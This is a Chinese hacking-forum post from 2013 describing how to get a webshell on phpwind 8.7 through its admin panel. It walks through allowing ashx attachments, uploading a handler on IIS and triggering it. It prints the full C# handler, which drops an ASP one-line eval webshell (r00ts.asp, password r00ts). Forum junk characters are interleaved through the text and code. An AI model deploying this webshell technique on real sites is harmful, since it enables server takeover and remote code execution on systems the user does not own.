找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2283|回复: 0
打印 上一主题 下一主题

phpwind 8.7 后台拿shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:41:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小/ E1 R" s# H8 ?) r3 z
0 K/ Z* s5 l9 P: {: q
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
; k' u% Y6 g! k2 k6 ?. b1 R) W' p 3 N. W( D: o" S0 a8 a
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
! a0 J; t* w0 Y) Z
+ E9 u) M* T, _$ n1 X9 W然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx+ A" ?) n& V: L! `& w! Z3 n

  ~9 E6 m1 c3 n' R/ u$ c, X3 c9 B7 z: k+ {打开之后空白 会在目录底下生成r00ts.asp 密码r00ts& ]3 C" I) R" k/ |9 i! Z

, h1 t7 T+ c. g! ?3 T# h3 \7 ?下面是代码:  Z+ ~  V# j, ~. b0 d: f

6 U7 ?9 f  t) f6 o& \<%@ WebHandler Language="C#"Class="Handler" %>5 A3 R8 Q9 F/ k4 [0 R
using System;4 q( k" N7 y/ Q' |& ^
using System.Web;) B2 b/ b1 w; y6 I
using System.IO;; A6 X, @& f* [8 `6 L
public class Handler : IHttpHandler {% M2 \; f$ D; N6 R
public void ProcessRequest (HttpContext context) {
1 s! b" f! V7 N8 K! kcontext.Response.ContentType = "text/plain";
6 \9 D& Q! ?. h0 \- sStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));9 c6 o6 p7 w& }
file1.Write("<%eval request(\"r00ts\")%>");
* L; v$ p1 E* M/ [2 D0 N" r! h. kfile1.Flush();6 T) J/ C/ K( S( n4 y
file1.Close();
& }' m4 ?' O" x. v" Q5 x! S}" W- \( K% \. h" \* j
public bool IsReusable {
  Q. A5 b8 D1 V( Fget {
3 [) _. U8 d% C! ~# I: ?return false;2 c* z+ Y+ z) F- f2 S, y' Z( Z8 }
}
3 u/ A. g' u+ a8 u" v# C: D}6 l: e" ]7 ^/ q, j8 o
}' V. }* Y; O& z. `+ u8 A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表